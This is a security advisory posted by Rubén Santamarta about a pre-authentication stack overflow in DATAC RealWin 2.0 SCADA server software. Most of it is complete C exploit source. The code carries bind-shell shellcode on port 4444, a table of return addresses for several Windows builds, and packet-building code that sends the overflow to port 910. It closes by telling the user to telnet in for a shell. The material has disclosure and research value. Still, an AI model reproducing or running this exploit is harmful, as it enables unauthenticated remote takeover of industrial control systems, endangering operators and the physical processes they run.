DATAC RealWin 2.0 SCADA Software - Remote PreaAuth Exploit

[Reversemode <advisories () reversemode com>]

Hi

---------------------------------

http://www.dataconline.com/software/realwin.php

"RealWin is a SCADA server product which includes a FlexView HMI and
runs on current Microsoft Windows platforms (2000 and XP). It can
operate on a single PC or multiple PCs connected through a TCP/IP
network. It reads and maintains data returned from field devices using
drivers, stores data for historical access, runs Command Sequence
Language (CSL) scripts and generates alarms as defined in the system."

---------------------------------

The version available for download
(http://www.realflex.com/download/form.php) is likely an old one so
newer versions may, or may not, be vulnerable. Note that the server is
affected by other flaws, but this one is pretty clear and 100% reliable.

The bug is a classic stack overflow while processing a specially crafted
FC_INFOTAG/SET_CONTROL packet. RealWin server accepts connections from
FlewWin clients which use a propietary protocol. We can exploit this
flaw from remote without having valid credentials .
-----------
.text:0042BFFE                 call    sub_419690 ; Get Packet.PayloadLen

.text:0042C003                 movzx   ecx, ax
.text:0042C006                 mov     edx, ecx
.text:0042C008                 shr     ecx, 2
.text:0042C00B                 mov     esi, ebx

.text:0042C00D                 lea     edi, [esp+638h+var_2E0]
.text:0042C014                 rep movsd
.text:0042C016                 mov     ecx, edx
.text:0042C018                 and     ecx, 3

.text:0042C01B                 rep movsb
-----------

That's all, just for fun.

Regards,
Rubén.

////////////////////////////////////////////////////////////////////
////    DATAC RealWin 2.0 SCADA Software        - Remote PreAuth Exploit -. 
////    --------------------------------------------------------
////    This code can only be used for personal study
////    and/or research purposes on even days.
////
////    The author is not responsible for any illegal usage.
////    So if you flood your neighborhood that's your f******* problem =)
////    ---------------
////    Note
////    ---------------
////    ## The exploit has been tested against a build that seems pretty old.
////    ## Therefore this flaw may be not reproducible on newer versions.
////    
////    http://www.dataconline.com
////    http://www.realflex.com/download/form.php
////    
////    Ruben Santamarta www.reversemode.com
////    

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"wsock32.lib")


#define REALWIN_PORT    910
#define PACKET_HEADER_MAGIC 0x67542310

#define EXPLOIT_LEN             0x810
#define PING_LEN                0x200

#define FUNC_INFOTAG_SET_CONTROL        0x5000A
#define FUNC_PING               0x70001


typedef struct {
        const char *szTarget;
        ULONG_PTR retAddr;
} TARGET;


TARGET targets[] = {
                { "Windows 2000 SP4 [ES]",      0x779D4F6A},    // call esp - oleaut32.dll
        { "Windows 2000 SP4 [EN]",      0x77E3C256 },   // jmp esp - user32.dll
        { "Windows XP SP2 [EN]",        0x7C914393 },   // call  esp - ntdll.dll 
                { "Windows XP SP2 [ES]",        0x7711139B},    // call esp - oleaut32.dll
                { NULL,0xFFFFFFFF}
}; 

int main(int argc, char* argv[])
{
        WSADATA ws; 
        SOCKET tcp_socket, tcp_ping; 
        char bBuffer[0x10] = {0};
        struct sockaddr_in peer;
        char *pExploitPacket = NULL;
        char *pPingPacket = NULL;
        ULONG_PTR       uFixed;

        /* win32_bind -  EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
        unsigned char scode[] =
        "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
        "\xd8\xfb\x1b\x83\xeb\xfc\xe2\xf4\x59\xb2\x10\x56\x4d\x21\x04\xe4"
        "\x5a\xb8\x70\x77\x81\xfc\x70\x5e\x99\x53\x87\x1e\xdd\xd9\x14\x90"
        "\xea\xc0\x70\x44\x85\xd9\x10\x52\x2e\xec\x70\x1a\x4b\xe9\x3b\x82"
        "\x09\x5c\x3b\x6f\xa2\x19\x31\x16\xa4\x1a\x10\xef\x9e\x8c\xdf\x33"
        "\xd0\x3d\x70\x44\x81\xd9\x10\x7d\x2e\xd4\xb0\x90\xfa\xc4\xfa\xf0"
        "\xa6\xf4\x70\x92\xc9\xfc\xe7\x7a\x66\xe9\x20\x7f\x2e\x9b\xcb\x90"
        "\xe5\xd4\x70\x6b\xb9\x75\x70\x5b\xad\x86\x93\x95\xeb\xd6\x17\x4b"
        "\x5a\x0e\x9d\x48\xc3\xb0\xc8\x29\xcd\xaf\x88\x29\xfa\x8c\x04\xcb"
        "\xcd\x13\x16\xe7\x9e\x88\x04\xcd\xfa\x51\x1e\x7d\x24\x35\xf3\x19"
        "\xf0\xb2\xf9\xe4\x75\xb0\x22\x12\x50\x75\xac\xe4\x73\x8b\xa8\x48"
        "\xf6\x8b\xb8\x48\xe6\x8b\x04\xcb\xc3\xb0\xea\x47\xc3\x8b\x72\xfa"
        "\x30\xb0\x5f\x01\xd5\x1f\xac\xe4\x73\xb2\xeb\x4a\xf0\x27\x2b\x73"
        "\x01\x75\xd5\xf2\xf2\x27\x2d\x48\xf0\x27\x2b\x73\x40\x91\x7d\x52"
        "\xf2\x27\x2d\x4b\xf1\x8c\xae\xe4\x75\x4b\x93\xfc\xdc\x1e\x82\x4c"
        "\x5a\x0e\xae\xe4\x75\xbe\x91\x7f\xc3\xb0\x98\x76\x2c\x3d\x91\x4b"
        "\xfc\xf1\x37\x92\x42\xb2\xbf\x92\x47\xe9\x3b\xe8\x0f\x26\xb9\x36"
        "\x5b\x9a\xd7\x88\x28\xa2\xc3\xb0\x0e\x73\x93\x69\x5b\x6b\xed\xe4"
        "\xd0\x9c\x04\xcd\xfe\x8f\xa9\x4a\xf4\x89\x91\x1a\xf4\x89\xae\x4a"
        "\x5a\x08\x93\xb6\x7c\xdd\x35\x48\x5a\x0e\x91\xe4\x5a\xef\x04\xcb"
        "\x2e\x8f\x07\x98\x61\xbc\x04\xcd\xf7\x27\x2b\x73\x4a\x16\x1b\x7b"
        "\xf6\x27\x2d\xe4\x75\xd8\xfb\x1b";

        int i,c;
        
        system("cls");
        printf("\n\t\t- DATAC RealWin 2.0 SCADA Software -\n");
        printf("\tProtocol Command INFOTAG/SET_CONTROL Stack Overflow\n");
        printf("\nRuben Santamarta - reversemode.com \n\n");

        if( argc < 3 )
        {
                
                printf("\nusage: exploit.exe ip TargetNumber");
                printf("\n\nexample: exploit 192.168.1.44 1\n\n");
                for( i = 0; targets[i].szTarget; i++ )
                {
                        printf("\n[ %d ] - %s", i, targets[i].szTarget);
                }
                printf("\n");
                exit(0);
        }

        WSAStartup(0x0202,&ws);

        peer.sin_family = AF_INET;
        peer.sin_port = htons( REALWIN_PORT );
        peer.sin_addr.s_addr = inet_addr( argv[1] ); 

        tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
        
        if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
        {
                printf("\n[!!] Host unreachable :( \n\n");
                exit(0);
        }
        
        pExploitPacket = (char*) calloc( EXPLOIT_LEN, sizeof(char) );
        pPingPacket = (char*) calloc( PING_LEN, sizeof(char) );

        memset( (void*)pExploitPacket, 0x90, EXPLOIT_LEN);
        memset( (void*)pPingPacket, 0x90, PING_LEN);
        
        uFixed =  targets[atoi(argv[2])].retAddr;
        
        for( i=0x0; i< 0xbe; i++)
        {
                *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + i*sizeof(ULONG_PTR) +2 )  ) = uFixed;
        }

        // Bypass silly things.
        *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket  + 0xbe*sizeof(ULONG_PTR) +2 )  ) = 0x404040; 

        // MAGIC_HEADER
        *( ( ULONG_PTR* ) pExploitPacket ) = PACKET_HEADER_MAGIC;
        
        //Payload Length
        *( ( ULONG_PTR* ) pExploitPacket + 1 ) = 0x800;                         
        
        //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 10 ) ) =  FUNC_INFOTAG_SET_CONTROL;
        
        //First Parameter
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 14 ) ) =  0x4; // Internal Switch
        
        //Mark
        *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 44 ) ) =  0xDEADBEEF; // Our marker

        
        memcpy( (void*)((char*)pExploitPacket + EXPLOIT_LEN - sizeof(scode))
                        ,scode
                        ,sizeof(scode)-1);
                
        send(tcp_socket, pExploitPacket, EXPLOIT_LEN, 0 );

        printf("[+] Exploit packet sent...now checking host availability\n");

        // MAGIC_HEADER
        *( ( ULONG_PTR* ) pPingPacket ) = PACKET_HEADER_MAGIC;
        
        //Payload Length
        *( ( ULONG_PTR* ) pPingPacket + 1 ) = 0x20;                             
        
        //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 10 ) ) =  FUNC_PING;
        
        //First Parameter
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 14 ) ) =  0x1;   // whatever
        
        //Mark
        *( (ULONG_PTR*)(( BYTE*) pPingPacket + 44 ) ) =  0xDEADBEEF; //Our marker

        tcp_ping = socket(AF_INET, SOCK_STREAM, 0);
        
        if ( connect(tcp_ping, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
        {
                printf("\n[!!] Host died, long live to the Host!  \n\n");
                exit(0);
        }
        
        i = recv(tcp_ping, bBuffer, 0x8, 0 );
        
        if( i )
        {
                printf("[+] The host is up and running\n\t:: %d bytes received: ",i);
                for(  c = 0; c<i; c++)
                        printf("%02X ", (unsigned char)bBuffer[c]);
        
                printf("\n");
        }else   {
                printf("\n[!!] Host died, long live to the Host!  \n\n");
        }

        closesocket(tcp_ping);
        closesocket(tcp_socket);

        Sleep(1000);
        printf("\n[+] Try: telnet %s 4444\n\n",argv[1]);        
        WSACleanup();

        return 0;
}